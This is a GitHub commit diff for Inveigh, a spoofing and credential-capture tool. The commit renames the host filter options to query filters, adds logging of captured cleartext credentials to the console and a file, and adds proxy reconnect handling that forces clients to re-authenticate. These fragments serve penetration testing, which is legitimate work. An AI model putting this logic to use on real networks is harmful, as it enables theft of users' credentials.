Skip to content

Commit 5116878

Browse files
Kevin-RobertsonKevin-Robertson
committed
cleartext, proxy fixes
Fixed cleartext capture/output bugs Added proxyauth reconnect relay Changed IgnoreHosts/ReplyToHosts to IgnoreQueries/ReplyToQueries
1 parent 9931ad5 commit 5116878

File tree

11 files changed

+129
-67
lines changed

11 files changed

+129
-67
lines changed

‎Inveigh/Listeners/DNSListener.cs‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -39,8 +39,8 @@ public override bool Check(string name, string type, string clientIP, out string
3939

4040
DNSChecker helper = new DNSChecker
4141
{
42-
IgnoreHosts = Program.argIgnoreHosts,
43-
ReplyToHosts = Program.argReplyToHosts,
42+
IgnoreQueries = Program.argIgnoreQueries,
43+
ReplyToQueries = Program.argReplyToQueries,
4444
IgnoreIPs = Program.argIgnoreIPs,
4545
ReplyToIPs = Program.argReplyToIPs,
4646
IgnoreDomains = Program.argIgnoreDomains,

‎Inveigh/Listeners/HTTPListener.cs‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,11 @@ protected override void OutputNTLM(string protocol, string listenerPort, string
3838
Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash);
3939
}
4040

41+
protected override void OutputCleartext(string protocol, string listenerPort, string clientIP, string clientPort, string credentials)
42+
{
43+
Output.CleartextOutput(protocol, listenerPort, clientIP, clientPort, credentials);
44+
}
45+
4146
protected override void OutputChallenge(string protocol, string listenerPort, string clientIP, string clientPort, string challenge)
4247
{
4348
Output.Queue(String.Format("[+] [{0}] {1}({2}) NTLM challenge [{3}] sent to {4}:{5}", Output.Timestamp(), protocol, listenerPort, challenge, clientIP, clientPort));

‎Inveigh/Listeners/LLMNRListener.cs‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -28,10 +28,10 @@ protected override void OutputError(Exception ex)
2828
public override bool Check(string name, string type, string clientIP, out string message)
2929
{
3030

31-
LLMNRChecker llmnrHelper = new LLMNRChecker
31+
LLMNRChecker llmnrChecker = new LLMNRChecker
3232
{
33-
IgnoreHosts = Program.argIgnoreHosts,
34-
ReplyToHosts = Program.argReplyToHosts,
33+
IgnoreQueries = Program.argIgnoreQueries,
34+
ReplyToQueries = Program.argReplyToQueries,
3535
IgnoreIPs = Program.argIgnoreIPs,
3636
ReplyToIPs = Program.argReplyToIPs,
3737
IPCaptures = Program.IPCaptureList,
@@ -41,13 +41,13 @@ public override bool Check(string name, string type, string clientIP, out string
4141
Inspect = Program.enabledInspect,
4242
};
4343

44-
if (llmnrHelper.Check(name, type, clientIP))
44+
if (llmnrChecker.Check(name, type, clientIP))
4545
{
46-
message = llmnrHelper.OutputMessage;
46+
message = llmnrChecker.OutputMessage;
4747
return true;
4848
}
4949

50-
message = llmnrHelper.OutputMessage;
50+
message = llmnrChecker.OutputMessage;
5151
return false;
5252
}
5353

‎Inveigh/Listeners/MDNSListener.cs‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,8 +33,8 @@ public override bool Check(string name, string question, string type, string cli
3333

3434
MDNSChecker mdnsHelper = new MDNSChecker
3535
{
36-
IgnoreHosts = Program.argIgnoreHosts,
37-
ReplyToHosts = Program.argReplyToHosts,
36+
IgnoreQueries = Program.argIgnoreQueries,
37+
ReplyToQueries = Program.argReplyToQueries,
3838
IgnoreIPs = Program.argIgnoreIPs,
3939
ReplyToIPs = Program.argReplyToIPs,
4040
IPCaptures = Program.IPCaptureList,

‎Inveigh/Listeners/NBNSListener.cs‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,8 +31,8 @@ public override bool Check(string name, string type, string clientIP, out string
3131

3232
NetBIOSNSChecker helper = new NetBIOSNSChecker
3333
{
34-
IgnoreHosts = Program.argIgnoreHosts,
35-
ReplyToHosts = Program.argReplyToHosts,
34+
IgnoreQueries = Program.argIgnoreQueries,
35+
ReplyToQueries = Program.argReplyToQueries,
3636
IgnoreIPs = Program.argIgnoreIPs,
3737
ReplyToIPs = Program.argReplyToIPs,
3838
IPCaptures = Program.IPCaptureList,

‎Inveigh/Program.cs‎

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -74,10 +74,10 @@ class Program
7474
public static string[] argIgnoreAgents = { "Firefox" };
7575
public static string[] argIgnoreDomains;
7676
public static string[] argIgnoreIPs;
77-
public static string[] argIgnoreHosts;
77+
public static string[] argIgnoreQueries;
7878
public static string[] argIgnoreMACs;
7979
public static string[] argReplyToDomains;
80-
public static string[] argReplyToHosts;
80+
public static string[] argReplyToQueries;
8181
public static string[] argReplyToIPs;
8282
public static string[] argReplyToMACs;
8383
public static string argSpooferIP = "";
@@ -174,7 +174,7 @@ class Program
174174
public static string netbiosDomain = Environment.UserDomainName;
175175
public static string dnsDomain = "";
176176
public static ulong smb2Session = 5548434740922023936; // todo check
177-
public static string version = "2.0.6";
177+
public static string version = "2.0.8";
178178

179179
static void Main(string[] arguments)
180180
{
@@ -355,11 +355,6 @@ static void Main(string[] arguments)
355355
argIgnoreDomains = arguments[entry.index + 1].ToUpper().Split(',');
356356
break;
357357

358-
case "-IGNOREHOSTS":
359-
case "/IGNOREHOSTS":
360-
argIgnoreHosts = arguments[entry.index + 1].ToUpper().Split(',');
361-
break;
362-
363358
case "-IGNOREIPS":
364359
case "/IGNOREIPS":
365360
argIgnoreIPs = arguments[entry.index + 1].ToUpper().Split(',');
@@ -370,6 +365,11 @@ static void Main(string[] arguments)
370365
argIgnoreMACs = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "").Split(',');
371366
break;
372367

368+
case "-IGNOREQUERIES":
369+
case "/IGNOREQUERIES":
370+
argIgnoreQueries = arguments[entry.index + 1].ToUpper().Split(',');
371+
break;
372+
373373
case "-INSPECT":
374374
case "/INSPECT":
375375
argInspect = arguments[entry.index + 1].ToUpper();
@@ -545,11 +545,6 @@ static void Main(string[] arguments)
545545
argReplyToDomains = arguments[entry.index + 1].ToUpper().Split(',');
546546
break;
547547

548-
case "-REPLYTOHOSTS":
549-
case "/REPLYTOHOSTS":
550-
argReplyToHosts = arguments[entry.index + 1].ToUpper().Split(',');
551-
break;
552-
553548
case "-REPLYTOIPS":
554549
case "/REPLYTOIPS":
555550
argReplyToIPs = arguments[entry.index + 1].ToUpper().Split(',');
@@ -558,7 +553,12 @@ static void Main(string[] arguments)
558553
case "-REPLYTOMACS":
559554
case "/REPLYTOMACS":
560555
argReplyToMACs = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "").Split(',');
561-
break;
556+
break;
557+
558+
case "-REPLYTOQUERIES":
559+
case "/REPLYTOQUERIES":
560+
argReplyToQueries = arguments[entry.index + 1].ToUpper().Split(',');
561+
break;
562562

563563
case "-WEBDAV":
564564
case "/WEBDAV":

‎Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs‎

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@
4141
using System.Net.Security;
4242
using Quiddity.Support;
4343
using System.Collections;
44+
using System.Collections.Generic;
4445

4546
namespace Quiddity
4647
{
@@ -64,6 +65,7 @@ class HTTPListener
6465
public static bool isRunning = false;
6566
public const SslProtocols tls12 = (SslProtocols)0x00000C00;
6667
public static Hashtable httpSessionTable = Hashtable.Synchronized(new Hashtable());
68+
public static Hashtable tcpSessionTable = Hashtable.Synchronized(new Hashtable());
6769

6870
public HTTPListener()
6971
{
@@ -118,8 +120,18 @@ internal void Start(IPAddress ipAddress, int port, string type)
118120
if (isRunning)
119121
{
120122
TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
121-
object[] parameters = { tcpClient, type, port };
122-
ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
123+
string sourceIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
124+
125+
if (type.Equals("Proxy") && tcpSessionTable.ContainsKey(sourceIP) && DateTime.Compare((DateTime)tcpSessionTable[sourceIP], DateTime.Now) > 0)
126+
{
127+
tcpClient.Client.Close();
128+
}
129+
else
130+
{
131+
object[] parameters = { tcpClient, type, port };
132+
ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
133+
}
134+
123135
}
124136

125137
}
@@ -490,6 +502,12 @@ internal void ReceiveClient(object parameters)
490502
if (type.Equals("Proxy"))
491503
{
492504
tcpClient.Client.Close();
505+
506+
if (!tcpSessionTable.ContainsKey(sourceIP) || DateTime.Compare((DateTime)tcpSessionTable[sourceIP], DateTime.Now) <= 0)
507+
{
508+
tcpSessionTable[sourceIP] = DateTime.Now.AddSeconds(1);
509+
}
510+
493511
}
494512
else
495513
{

‎Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs‎

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,8 @@ namespace Quiddity.DNS
3737
{
3838
class DNSChecker
3939
{
40-
public string[] IgnoreHosts { get; set; }
41-
public string[] ReplyToHosts { get; set; }
40+
public string[] IgnoreQueries { get; set; }
41+
public string[] ReplyToQueries { get; set; }
4242
public string[] IgnoreIPs { get; set; }
4343
public string[] ReplyToIPs { get; set; }
4444
public string[] IgnoreDomains { get; set; }
@@ -103,12 +103,12 @@ public bool Check(string name, string type, string clientIP)
103103
this.OutputMessage = this.OutputServiceDenied;
104104
return false;
105105
}
106-
else if (HostIsDenied(name) || FQDNIsDenied(name))
106+
else if (QueryIsDenied(name) || FQDNIsDenied(name))
107107
{
108108
this.OutputMessage = this.OutputHostDenied;
109109
return false;
110110
}
111-
else if (!HostIsAllowed(name) && !FQDNIsAllowed(name))
111+
else if (!QueryIsAllowed(name) && !FQDNIsAllowed(name))
112112
{
113113
this.OutputMessage = this.OutputHostDenied;
114114
return false;
@@ -193,23 +193,23 @@ public bool ServiceIsAllowed(string name, string type)
193193
return true;
194194
}
195195

196-
public bool HostIsDenied(string name)
196+
public bool QueryIsDenied(string name)
197197
{
198198
string host = (name.Split('.'))[0];
199199

200-
if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == host.ToUpper()))
200+
if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreQueries) && Array.Exists(this.IgnoreQueries, element => element == host.ToUpper()))
201201
{
202202
return true;
203203
}
204204

205205
return false;
206206
}
207207

208-
public bool HostIsAllowed(string name)
208+
public bool QueryIsAllowed(string name)
209209
{
210210
string host = (name.Split('.'))[0];
211211

212-
if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToHosts) && !Array.Exists(this.ReplyToHosts, element => element == host.ToUpper()))
212+
if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToQueries) && !Array.Exists(this.ReplyToQueries, element => element == host.ToUpper()))
213213
{
214214
return false;
215215
}
@@ -220,7 +220,7 @@ public bool HostIsAllowed(string name)
220220
public bool FQDNIsDenied(string name)
221221
{
222222

223-
if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == name.ToUpper()))
223+
if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreQueries) && Array.Exists(this.IgnoreQueries, element => element == name.ToUpper()))
224224
{
225225
return true;
226226
}
@@ -231,7 +231,7 @@ public bool FQDNIsDenied(string name)
231231
public bool FQDNIsAllowed(string name)
232232
{
233233

234-
if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToHosts) && !Array.Exists(this.ReplyToHosts, element => element == name.ToUpper()))
234+
if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToQueries) && !Array.Exists(this.ReplyToQueries, element => element == name.ToUpper()))
235235
{
236236
return false;
237237
}

‎Inveigh/Support/Output.cs‎

Lines changed: 51 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -592,12 +592,12 @@ public static void NTLMOutput(string user, string domain, string challenge, stri
592592

593593
lock (Program.IPCaptureList)
594594
{
595-
Program.IPCaptureList.Add(string.Concat(host));
595+
Program.IPCaptureList.Add(sourceIP);
596596
}
597597

598598
lock (Program.HostCaptureList)
599599
{
600-
Program.HostCaptureList.Add(string.Concat(host));
600+
Program.HostCaptureList.Add(host);
601601
}
602602

603603
}
@@ -642,12 +642,12 @@ public static void NTLMOutput(string user, string domain, string challenge, stri
642642

643643
lock (Program.IPCaptureList)
644644
{
645-
Program.IPCaptureList.Add(string.Concat(host));
645+
Program.IPCaptureList.Add(sourceIP);
646646
}
647647

648648
lock (Program.HostCaptureList)
649649
{
650-
Program.HostCaptureList.Add(string.Concat(host));
650+
Program.HostCaptureList.Add(host);
651651
}
652652

653653
}
@@ -680,6 +680,43 @@ public static void NTLMOutput(string user, string domain, string challenge, stri
680680

681681
}
682682

683+
public static void CleartextOutput(string protocol, string listenerPort, string clientIP, string clientPort, string credentials)
684+
{
685+
686+
bool isUnique = false;
687+
688+
if (Program.cleartextList.Any(str => str.Contains(credentials)))
689+
{
690+
isUnique = true;
691+
}
692+
693+
lock (Program.cleartextList)
694+
{
695+
Program.cleartextList.Add(string.Concat(clientIP, ",", credentials));
696+
}
697+
698+
if (Program.enabledConsoleUnique && isUnique)
699+
{
700+
Queue(string.Format("[+] [{0}] {1}({2}) cleartext credentials captured from {3}({4}):\r\n[not unique]", Timestamp(), protocol, listenerPort, clientIP, clientPort));
701+
}
702+
else
703+
{
704+
Queue(string.Format("[+] [{0}] {1}({2}) cleartext credentials captured from {3}({4}):\r\n{5}", Timestamp(), protocol, listenerPort, clientIP, clientPort, credentials));
705+
}
706+
707+
if (Program.enabledFileOutput && (!Program.enabledFileUnique || !isUnique))
708+
{
709+
710+
lock (Program.cleartextFileList)
711+
{
712+
Program.cleartextFileList.Add(string.Concat(clientIP, ",", credentials));
713+
}
714+
715+
Queue(string.Format("[+] [{0}] {1}({2}) cleartext credentials written to {3}", Timestamp(), protocol, listenerPort, String.Concat(Program.argFilePrefix, "-Cleartext.txt")));
716+
}
717+
718+
}
719+
683720
public static void FileOutput()
684721
{
685722

@@ -1005,10 +1042,10 @@ public static void GetHelp(string arg)
10051042
OutputHelp(argument, description);
10061043
}
10071044

1008-
if (nullarg || string.Equals(arg, "IGNOREHOSTS"))
1045+
if (nullarg || string.Equals(arg, "IGNOREQUERIES"))
10091046
{
1010-
string argument = "IgnoreHosts";
1011-
string description = "Default=None: Comma separated list of hostnames to ignore when spoofing.";
1047+
string argument = "IgnoreQueries";
1048+
string description = "Default=None: Comma separated list of name queries to ignore when spoofing.";
10121049
OutputHelp(argument, description);
10131050
}
10141051

@@ -1117,13 +1154,6 @@ public static void GetHelp(string arg)
11171154
OutputHelp(argument, description);
11181155
}
11191156

1120-
if (nullarg || string.Equals(arg, "REPLYTOHOSTS"))
1121-
{
1122-
string argument = "ReplyToHosts";
1123-
string description = "Default=All: Comma separated list of hostnames to respond to when spoofing.";
1124-
OutputHelp(argument, description);
1125-
}
1126-
11271157
if (nullarg || string.Equals(arg, "REPLYTOIPS"))
11281158
{
11291159
string argument = "ReplyToIPs";
@@ -1138,6 +1168,13 @@ public static void GetHelp(string arg)
11381168
OutputHelp(argument, description);
11391169
}
11401170

1171+
if (nullarg || string.Equals(arg, "REPLYTOQUERIES"))
1172+
{
1173+
string argument = "ReplyToqueries";
1174+
string description = "Default=All: Comma separated list of name queries to respond to when spoofing.";
1175+
OutputHelp(argument, description);
1176+
}
1177+
11411178
if (nullarg || string.Equals(arg, "SPOOFERIP"))
11421179
{
11431180
string argument = "SpooferIP";

0 commit comments

Comments
 (0)